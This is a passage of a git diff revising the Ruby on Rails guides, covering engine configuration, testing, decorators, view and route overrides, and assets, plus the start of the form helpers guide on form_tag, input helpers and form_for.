this class: +The `set_author` method in the `Blorgh::Article` model should also use this class: ```ruby -self.author = Blorgh.user_class.constantize.find_or_create_by_name(author_name) +self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name) ``` -To save having to call `constantize` on the `user_class` result all the time, you could instead just override the `user_class` getter method inside the `Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the saved value before returning the result: +To save having to call `constantize` on the `author_class` result all the time, +you could instead just override the `author_class` getter method inside the +`Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the +saved value before returning the result: ```ruby -def self.user_class - @@user_class.constantize +def self.author_class + @@author_class.constantize end ``` This would then turn the above code for `set_author` into this: ```ruby -self.author = Blorgh.user_class.find_or_create_by_name(author_name) +self.author = Blorgh.author_class.find_or_create_by(name: author_name) ``` -Resulting in something a little shorter, and more implicit in its behaviour. The `user_class` method should always return a `Class` object. +Resulting in something a little shorter, and more implicit in its behavior. The +`author_class` method should always return a `Class` object. -To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models which may depend on this configuration setting existing. +Since we changed the `author_class` method to return a `Class` instead of a +`String`, we must also modify our `belongs_to` definition in the `Blorgh::Article` +model: -Create a new initializer at `config/initializers/blorgh.rb` inside the application where the `blorgh` engine is installed and put this content in it: +```ruby +belongs_to :author, class_name: Blorgh.author_class.to_s +``` + +To set this configuration setting within the application, an initializer should +be used. By using an initializer, the configuration will be set up before the +application starts and calls the engine's models, which may depend on this +configuration setting existing. + +Create a new initializer at `config/initializers/blorgh.rb` inside the +application where the `blorgh` engine is installed and put this content in it: ```ruby -Blorgh.user_class = "User" +Blorgh.author_class = "User" ``` -WARNING: It's very important here to use the `String` version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a `String` should be used and then converted to a class using `constantize` in the engine later on. +WARNING: It's very important here to use the `String` version of the class, +rather than the class itself. If you were to use the class, Rails would attempt +to load that class and then reference the related table. This could lead to +problems if the table wasn't already existing. Therefore, a `String` should be +used and then converted to a class using `constantize` in the engine later on. -Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in `config/initializers/blorgh.rb` to learn what the class is. +Go ahead and try to create a new article. You will see that it works exactly in the +same way as before, except this time the engine is using the configuration +setting in `config/initializers/blorgh.rb` to learn what the class is. -There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a `find_or_create_by_name` method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced. +There are now no strict dependencies on what the class is, only what the API for +the class must be. The engine simply requires this class to define a +`find_or_create_by` method which returns an object of that class, to be +associated with an article when it's created. This object, of course, should have +some sort of identifier by which it can be referenced. -#### General engine configuration +#### General Engine Configuration -Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines! +Within an engine, there may come a time where you wish to use things such as +initializers, internationalization or other configuration options. The great +news is that these things are entirely possible, because a Rails engine shares +much the same functionality as a Rails application. In fact, a Rails +application's functionality is actually a superset of what is provided by +engines! -If you wish to use an initializer — code that should run before the engine is loaded — the place for it is the `config/initializers` folder. This directory's functionality is explained in the [Initializers section](http://guides.rubyonrails.org/configuring.html#initializers) of the Configuring guide, and works precisely the same way as the `config/initializers` directory inside an application. Same goes for if you want to use a standard initializer. +If you wish to use an initializer - code that should run before the engine is +loaded - the place for it is the `config/initializers` folder. This directory's +functionality is explained in the [Initializers +section](configuring.html#initializers) of the Configuring guide, and works +precisely the same way as the `config/initializers` directory inside an +application. The same thing goes if you want to use a standard initializer. -For locales, simply place the locale files in the `config/locales` directory, just like you would in an application. +For locales, simply place the locale files in the `config/locales` directory, +just like you would in an application. Testing an engine ----------------- -When an engine is generated there is a smaller dummy application created inside it at `test/dummy`. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine. +When an engine is generated, there is a smaller dummy application created inside +it at `test/dummy`. This application is used as a mounting point for the engine, +to make testing the engine extremely simple. You may extend this application by +generating controllers, models or views from within the directory, and then use +those to test your engine. -The `test` directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests. +The `test` directory should be treated like a typical Rails testing environment, +allowing for unit, functional and integration tests. -### Functional tests +### Functional Tests -A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application — the `test/dummy` application — rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical `GET` to a controller in a controller's functional test like this: +A matter worth taking into consideration when writing functional tests is that +the tests are going to be running on an application - the `test/dummy` +application - rather than your engine. This is due to the setup of the testing +environment; an engine needs an application as a host for testing its main +functionality, especially controllers. This means that if you were to make a +typical `GET` to a controller in a controller's functional test like this: ```ruby -get :index +module Blorgh + class FooControllerTest < ActionController::TestCase + def test_index + get :index + ... + end + end +end ``` -It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it **how**. To do this, you must pass the `:use_route` option (as a parameter) on these requests also: +It may not function correctly. This is because the application doesn't know how +to route these requests to the engine unless you explicitly tell it **how**. To +do this, you must set the `@routes` instance variable to the engine's route set +in your setup code: ```ruby -get :index, use_route: :blorgh +module Blorgh + class FooControllerTest < ActionController::TestCase + setup do + @routes = Engine.routes + end + + def test_index + get :index + ... + end + end +end ``` -This tells the application that you still want to perform a `GET` request to the `index` action of this controller, just that you want to use the engine's route to get there, rather than the application. +This tells the application that you still want to perform a `GET` request to the +`index` action of this controller, but you want to use the engine's route to get +there, rather than the application's one. + +This also ensures that the engine's URL helpers will work as expected in your +tests. Improving engine functionality ------------------------------ -This section explains how to add and/or override engine MVC functionality in the main Rails application. +This section explains how to add and/or override engine MVC functionality in the +main Rails application. ### Overriding Models and Controllers -Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main application. This is usually implemented by using the decorator pattern. +Engine model and controller classes can be extended by open classing them in the +main Rails application (since model and controller classes are just Ruby classes +that inherit Rails specific functionality). Open classing an Engine class +redefines it for use in the main application. This is usually implemented by +using the decorator pattern. -For simple class modifications use `Class#class_eval`, and for complex class modifications, consider using `ActiveSupport::Concern`. +For simple class modifications, use `Class#class_eval`. For complex class +modifications, consider using `ActiveSupport::Concern`. + +#### A note on Decorators and Loading Code + +Because these decorators are not referenced by your Rails application itself, +Rails' autoloading system will not kick in and load your decorators. This means +that you need to require them yourself. + +Here is some sample code to do this: + +```ruby +# lib/blorgh/engine.rb +module Blorgh + class Engine < ::Rails::Engine + isolate_namespace Blorgh + + config.to_prepare do + Dir.glob(Rails.root + "app/decorators/**/*_decorator*.rb").each do |c| + require_dependency(c) + end + end + end +end +``` + +This doesn't apply to just Decorators, but anything that you add in an engine +that isn't referenced by your main application. #### Implementing Decorator Pattern Using Class#class_eval -**Adding** `Post#time_since_created`, +**Adding** `Article#time_since_created`: ```ruby -# MyApp/app/decorators/models/blorgh/post_decorator.rb +# MyApp/app/decorators/models/blorgh/article_decorator.rb -Blorgh::Post.class_eval do +Blorgh::Article.class_eval do def time_since_created Time.current - created_at end @@ -720,20 +1133,20 @@ end ``` ```ruby -# Blorgh/app/models/post.rb +# Blorgh/app/models/article.rb -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base has_many :comments end ``` -**Overriding** `Post#summary` +**Overriding** `Article#summary`: ```ruby -# MyApp/app/decorators/models/blorgh/post_decorator.rb +# MyApp/app/decorators/models/blorgh/article_decorator.rb -Blorgh::Post.class_eval do +Blorgh::Article.class_eval do def summary "#{title} - #{truncate(text)}" end @@ -741,9 +1154,9 @@ end ``` ```ruby -# Blorgh/app/models/post.rb +# Blorgh/app/models/article.rb -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base has_many :comments def summary "#{title}" @@ -753,16 +1166,19 @@ end #### Implementing Decorator Pattern Using ActiveSupport::Concern -Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using [`ActiveSupport::Concern`](http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html) helps manage load order of interlinked dependencies at run time allowing you to significantly modularize your code. +Using `Class#class_eval` is great for simple adjustments, but for more complex +class modifications, you might want to consider using [`ActiveSupport::Concern`] +(http://api.rubyonrails.org/classes/ActiveSupport/Concern.html). +ActiveSupport::Concern manages load order of interlinked dependent modules and +classes at run time allowing you to significantly modularize your code. -**Adding** `Post#time_since_created`<br/> -**Overriding** `Post#summary` +**Adding** `Article#time_since_created` and **Overriding** `Article#summary`: ```ruby -# MyApp/app/models/blorgh/post.rb +# MyApp/app/models/blorgh/article.rb -class Blorgh::Post < ActiveRecord::Base - include Blorgh::Concerns::Models::Post +class Blorgh::Article < ActiveRecord::Base + include Blorgh::Concerns::Models::Article def time_since_created Time.current - created_at @@ -775,22 +1191,22 @@ end ``` ```ruby -# Blorgh/app/models/post.rb +# Blorgh/app/models/article.rb -class Post < ActiveRecord::Base - include Blorgh::Concerns::Models::Post +class Article < ActiveRecord::Base + include Blorgh::Concerns::Models::Article end ``` ```ruby -# Blorgh/lib/concerns/models/post +# Blorgh/lib/concerns/models/article -module Blorgh::Concerns::Models::Post +module Blorgh::Concerns::Models::Article extend ActiveSupport::Concern # 'included do' causes the included code to be evaluated in the - # conext where it is included (post.rb), rather than be - # executed in the module's context (blorgh/concerns/models/post). + # context where it is included (article.rb), rather than being + # executed in the module's context (blorgh/concerns/models/article). included do attr_accessor :author_name belongs_to :author, class_name: "User" @@ -798,10 +1214,9 @@ module Blorgh::Concerns::Models::Post before_save :set_author private - - def set_author - self.author = User.find_or_create_by_name(author_name) - end + def set_author + self.author = User.find_or_create_by(name: author_name) + end end def summary @@ -816,76 +1231,116 @@ module Blorgh::Concerns::Models::Post end ``` -### Overriding views +### Overriding Views -When Rails looks for a view to render, it will first look in the `app/views` directory of the application. If it cannot find the view there, then it will check in the `app/views` directories of all engines which have this directory. +When Rails looks for a view to render, it will first look in the `app/views` +directory of the application. If it cannot find the view there, it will check in +the `app/views` directories of all engines that have this directory. -In the `blorgh` engine, there is a currently a file at `app/views/blorgh/posts/index.html.erb`. When the engine is asked to render the view for `Blorgh::PostsController`'s `index` action, it will first see if it can find it at `app/views/blorgh/posts/index.html.erb` within the application and then if it cannot it will look inside the engine. +When the application is asked to render the view for `Blorgh::ArticlesController`'s +index action, it will first look for the path +`app/views/blorgh/articles/index.html.erb` within the application. If it cannot +find it, it will look inside the engine. -You can override this view in the application by simply creating a new file at `app/views/blorgh/posts/index.html.erb`. Then you can completely change what this view would normally output. +You can override this view in the application by simply creating a new file at +`app/views/blorgh/articles/index.html.erb`. Then you can completely change what +this view would normally output. -Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` and put this content in it: +Try this now by creating a new file at `app/views/blorgh/articles/index.html.erb` +and put this content in it: ```html+erb -<h1>Posts</h1> -<%= link_to "New Post", new_post_path %> -<% @posts.each do |post| %> - <h2><%= post.title %></h2> - <small>By <%= post.author %></small> - <%= simple_format(post.text) %> +<h1>Articles</h1> +<%= link_to "New Article", new_article_path %> +<% @articles.each do |article| %> + <h2><%= article.title %></h2> + <small>By <%= article.author %></small> + <%= simple_format(article.text) %> <hr> <% end %> ``` ### Routes -Routes inside an engine are, by default, isolated from the application. This is done by the `isolate_namespace` call inside the `Engine` class. This essentially means that the application and its engines can have identically named routes, and that they will not clash. +Routes inside an engine are isolated from the application by default. This is +done by the `isolate_namespace` call inside the `Engine` class. This essentially +means that the application and its engines can have identically named routes and +they will not clash. -Routes inside an engine are drawn on the `Engine` class within `config/routes.rb`, like this: +Routes inside an engine are drawn on the `Engine` class within +`config/routes.rb`, like this: ```ruby Blorgh::Engine.routes.draw do - resources :posts + resources :articles end ``` -By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as `posts_path` may end up going to undesired locations if both the application and the engine both have such a helper defined. +By having isolated routes such as this, if you wish to link to an area of an +engine from within an application, you will need to use the engine's routing +proxy method. Calls to normal routing methods such as `articles_path` may end up +going to undesired locations if both the application and the engine have such a +helper defined. -For instance, the following example would go to the application's `posts_path` if that template was rendered from the application, or the engine's `posts_path` if it was rendered from the engine: +For instance, the following example would go to the application's `articles_path` +if that template was rendered from the application, or the engine's `articles_path` +if it was rendered from the engine: ```erb -<%= link_to "Blog posts", posts_path %> +<%= link_to "Blog articles", articles_path %> ``` -To make this route always use the engine's `posts_path` routing helper method, we must call the method on the routing proxy method that shares the same name as the engine. +To make this route always use the engine's `articles_path` routing helper method, +we must call the method on the routing proxy method that shares the same name as +the engine. ```erb -<%= link_to "Blog posts", blorgh.posts_path %> +<%= link_to "Blog articles", blorgh.articles_path %> ``` -If you wish to reference the application inside the engine in a similar way, use the `main_app` helper: +If you wish to reference the application inside the engine in a similar way, use +the `main_app` helper: ```erb <%= link_to "Home", main_app.root_path %> ``` -If you were to use this inside an engine, it would **always** go to the application's root. If you were to leave off the `main_app` "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from. +If you were to use this inside an engine, it would **always** go to the +application's root. If you were to leave off the `main_app` "routing proxy" +method call, it could potentially go to the engine's or application's root, +depending on where it was called from. -If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the `main_app` prefix from within the engine. +If a template rendered from within an engine attempts to use one of the +application's routing helper methods, it may result in an undefined method call. +If you encounter such an issue, ensure that you're not attempting to call the +application's routing methods without the `main_app` prefix from within the +engine. ### Assets -Assets within an engine work in an identical way to a full application. Because the engine class inherits from `Rails::Engine`, the application will know to look up in the engine's `app/assets` and `lib/assets` directories for potential assets. +Assets within an engine work in an identical way to a full application. Because +the engine class inherits from `Rails::Engine`, the application will know to +look up assets in the engine's 'app/assets' and 'lib/assets' directories. -Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called `style.css`, it should be placed at `app/assets/stylesheets/[engine name]/style.css`, rather than `app/assets/stylesheets/style.css`. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored. +Like all of the other components of an engine, the assets should be namespaced. +This means that if you have an asset called `style.css`, it should be placed at +`app/assets/stylesheets/[engine name]/style.css`, rather than +`app/assets/stylesheets/style.css`. If this asset isn't namespaced, there is a +possibility that the host application could have an asset named identically, in +which case the application's asset would take precedence and the engine's one +would be ignored. -Imagine that you did have an asset located at `app/assets/stylesheets/blorgh/style.css` To include this asset inside an application, just use `stylesheet_link_tag` and reference the asset as if it were inside the engine: +Imagine that you did have an asset located at +`app/assets/stylesheets/blorgh/style.css` To include this asset inside an +application, just use `stylesheet_link_tag` and reference the asset as if it +were inside the engine: ```erb <%= stylesheet_link_tag "blorgh/style.css" %> ``` -You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files: +You can also specify these assets as dependencies of other assets using Asset +Pipeline require statements in processed files: ``` /* @@ -893,16 +1348,21 @@ You can also specify these assets as dependencies of other assets using the Asse */ ``` -INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's `.gemspec`. +INFO. Remember that in order to use languages like Sass or CoffeeScript, you +should add the relevant library to your engine's `.gemspec`. ### Separate Assets & Precompiling -There are some situations where your engine's assets are not required by the host application. For example, say that you've created -an admin functionality that only exists for your engine. In this case, the host application doesn't need to require `admin.css` -or `admin.js`. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include `"blorg/admin.css"` in it's stylesheets. In this situation, you should explicitly define these assets for precompilation. -This tells sprockets to add your engine assets when `rake assets:precompile` is ran. +There are some situations where your engine's assets are not required by the +host application. For example, say that you've created an admin functionality +that only exists for your engine. In this case, the host application doesn't +need to require `admin.css` or `admin.js`. Only the gem's admin layout needs +these assets. It doesn't make sense for the host app to include +`"blorgh/admin.css"` in its stylesheets. In this situation, you should +explicitly define these assets for precompilation. This tells sprockets to add +your engine assets when `rake assets:precompile` is triggered. -You can define assets for precompilation in `engine.rb` +You can define assets for precompilation in `engine.rb`: ```ruby initializer "blorgh.assets.precompile" do |app| @@ -910,14 +1370,15 @@ initializer "blorgh.assets.precompile" do |app| end ``` -For more information, read the [Asset Pipeline guide](http://guides.rubyonrails.org/asset_pipeline.html) +For more information, read the [Asset Pipeline guide](asset_pipeline.html). -### Other gem dependencies +### Other Gem Dependencies -Gem dependencies inside an engine should be specified inside the `.gemspec` file at the root of the engine. The reason for this is because the engine may -be installed as a gem. If dependencies were to be specified inside the `Gemfile`, -these would not be recognised by a traditional gem install and so they would not -be installed, causing the engine to malfunction. +Gem dependencies inside an engine should be specified inside the `.gemspec` file +at the root of the engine. The reason is that the engine may be installed as a +gem. If dependencies were to be specified inside the `Gemfile`, these would not +be recognized by a traditional gem install and so they would not be installed, +causing the engine to malfunction. To specify a dependency that should be installed with the engine during a traditional `gem install`, specify it inside the `Gem::Specification` block @@ -935,11 +1396,12 @@ s.add_development_dependency "moo" ``` Both kinds of dependencies will be installed when `bundle install` is run inside -the application. The development dependencies for the gem will only be used when -the tests for the engine are running. +of the application. The development dependencies for the gem will only be used +when the tests for the engine are running. Note that if you want to immediately require dependencies when the engine is -required, you should require them before the engine's initialization. For example: +required, you should require them before the engine's initialization. For +example: ```ruby require 'other_engine/engine' diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md index 12ef28668d..a8dcd3ee4f 100644 --- a/guides/source/form_helpers.md +++ b/guides/source/form_helpers.md @@ -1,23 +1,24 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Form Helpers ============ -Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails does away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use. +Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of the need to handle form control naming and its numerous attributes. Rails does away with this complexity by providing view helpers for generating form markup. However, since these helpers have different use cases, developers need to know the differences between the helper methods before putting them to use. After reading this guide, you will know: * How to create search forms and similar kind of generic forms not representing any specific model in your application. -* How to make model-centric forms for creation and editing of specific database records. +* How to make model-centric forms for creating and editing specific database records. * How to generate select boxes from multiple types of data. -* The date and time helpers Rails provides. +* What date and time helpers Rails provides. * What makes a file upload form different. -* Some cases of building forms to external resources. +* How to post forms to external resources and specify setting an `authenticity_token`. * How to build complex forms. -------------------------------------------------------------------------------- NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit [the Rails API documentation](http://api.rubyonrails.org/) for a complete reference. - Dealing with Basic Forms ------------------------ @@ -32,18 +33,14 @@ The most basic form helper is `form_tag`. When called without arguments like this, it creates a `<form>` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability): ```html -<form accept-charset="UTF-8" action="/home/index" method="post"> - <div style="margin:0;padding:0"> - <input name="utf8" type="hidden" value="✓" /> - <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" /> - </div> +<form accept-charset="UTF-8" action="/" method="post"> + <input name="utf8" type="hidden" value="✓" /> + <input name="authenticity_token" type="hidden" value="J7CBxfHalt49OSHp27hblqK20c9PgwJ108nDHX/8Cts=" /> Form contents </form> ``` -Now, you'll notice that the HTML contains something extra: a `div` element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](./security.html#cross-site-request-forgery-csrf). - -NOTE: Throughout this guide, the `div` with the hidden input elements will be excluded from code samples for brevity. +You'll notice that the HTML contains `input` element with type `hidden`. This `input` is important, because the form cannot be successfully submitted without it. The hidden input element has name attribute of `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](security.html#cross-site-request-forgery-csrf). ### A Generic Search Form @@ -68,13 +65,14 @@ This will generate the following HTML: ```html <form accept-charset="UTF-8" action="/search" method="get"> + <input name="utf8" type="hidden" value="✓" /> <label for="q">Search for:</label> <input id="q" name="q" type="text" /> <input name="commit" type="submit" value="Search" /> </form> ``` -TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. +TIP: For every form input, an ID attribute is generated from its name (`"q"` in above example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML. @@ -100,7 +98,15 @@ form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_ ### Helpers for Generating Form Elements -Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as `text_field_tag` and `check_box_tag`), generate just a single `<input>` element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the `params` hash in the controller with the value entered by the user for that field. For example, if the form contains `<%= text_field_tag(:query) %>`, then you would be able to get the value of this field in the controller with `params[:query]`. +Rails provides a series of helpers for generating form elements such as +checkboxes, text fields, and radio buttons. These basic helpers, with names +ending in `_tag` (such as `text_field_tag` and `check_box_tag`), generate just a +single `<input>` element. The first parameter to these is always the name of the +input. When the form is submitted, the name will be passed along with the form +data, and will make its way to the `params` hash in the controller with the +value entered by the user for that field. For example, if the form contains `<%= +text_field_tag(:query) %>`, then you would be able to get the value of this +field in the controller with `params[:query]`. When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html). @@ -146,7 +152,7 @@ Output: <label for="age_adult">I'm over 21</label> ``` -As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and `params[:age]` will contain either "child" or "adult". +As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (`age`), the user will only be able to select one of them, and `params[:age]` will contain either `"child"` or `"adult"`. NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and, by expanding the clickable region, @@ -154,7 +160,10 @@ make it easier for users to click the inputs. ### Other Helpers of Interest -Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields: +Other form controls worth mentioning are textareas, password fields, +hidden fields, search fields, telephone fields, date fields, time fields, +color fields, datetime fields, datetime-local fields, month fields, week fields, +URL fields, email fields, number fields and range fields: ```erb <%= text_area_tag(:message, "Hi, nice site", size: "24x6") %> @@ -171,6 +180,8 @@ Other form controls worth mentioning are textareas, password fields, hidden fiel <%= email_field(:user, :address) %> <%= color_field(:user, :favorite_color) %> <%= time_field(:task, :started_at) %> +<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %> +<%= range_field(:product, :discount, in: 1..100) %> ``` Output: @@ -190,11 +201,20 @@ Output: <input id="user_address" name="user[address]" type="email" /> <input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" /> <input id="task_started_at" name="task[started_at]" type="time" /> +<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" /> +<input id="product_discount" max="100" min="1" name="product[discount]" type="range" /> ``` Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript. -IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), which provide a simple way to add functionality based on the presence of detected HTML5 features. +IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, +month, week, URL, email, number and range inputs are HTML5 controls. +If you require your app to have a consistent experience in older browsers, +you will need an HTML5 polyfill (provided by CSS and/or JavaScript). +There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are +[Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), +which provide a simple way to add functionality based on the presence of +detected HTML5 features. TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging). @@ -203,7 +223,7 @@ Dealing with Model Objects ### Model Object Helpers -A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example `text_field`, `text_area`. +A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the `_tag` suffix, for example `text_field`, `text_area`. For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing: @@ -217,15 +237,15 @@ will produce output similar to <input id="person_name" name="person[name]" type="text" value="Henry"/> ``` -Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update_attributes`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy. +Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy. WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object. -Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations and Callbacks](./active_record_validations_callbacks.html#displaying-validation-errors-in-the-view) guide. +Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations](./active_record_validations.html#displaying-validation-errors-in-views) guide. ### Binding a Form to an Object -While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does. +While this is an increase in comfort it is far from perfect. If `Person` has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does. Assume we have a controller for dealing with articles `app/controllers/articles_controller.rb`: @@ -238,7 +258,7 @@ end The corresponding view `app/views/articles/new.html.erb` using `form_for` looks like this: ```erb -<%= form_for @article, url: {action: "create"}, html => {class: "nifty_form"} do |f| %> +<%= form_for @article, url: {action: "create"}, html: {class: "nifty_form"} do |f| %> <%= f.text_field :title %> <%= f.text_area :body, size: "60x12" %> <%= f.submit "Create" %> @@ -250,7 +270,7 @@ There are a few things to note here: * `@article` is the actual object being edited. * There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id. * The `form_for` method yields a **form builder** object (the `f` variable). -* Methods to create form controls are called **on** the form builder object `f` +* Methods to create form controls are called **on** the form builder object `f`. The resulting HTML is: @@ -266,7 +286,7 @@ The name passed to `form_for` controls the key used in `params` to access the fo The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder. -You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so: +You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example, if you had a `Person` model with an associated `ContactDetail` model, you could create a form for creating both like so: ```erb <%= form_for @person, url: {action: "create"} do |person_form| %> @@ -290,7 +310,7 @@ The object yielded by `fields_for` is a form builder like the one yielded by `fo ### Relying on Record Identification -The Article model is directly available to users of the application, so — following the best practices for developing with Rails — you should declare it **a resource**: +The Article model is directly available to users of the application, so - following the best practices for developing with Rails - you should declare it **a resource**: ```ruby resources :articles @@ -328,7 +348,7 @@ If you have created namespaced routes, `form_for` has a nifty shorthand for that form_for [:admin, @article] ``` -will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar: +will create a form that submits to the `ArticlesController` inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar: ```ruby form_for [:admin, :management, @article] @@ -336,7 +356,6 @@ form_for [:admin, :management, @article] For more information on Rails' routing system and the associated conventions, please see the [routing guide](routing.html). - ### How do forms with PATCH, PUT, or DELETE methods work? The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms. @@ -351,12 +370,11 @@ output: ```html <form 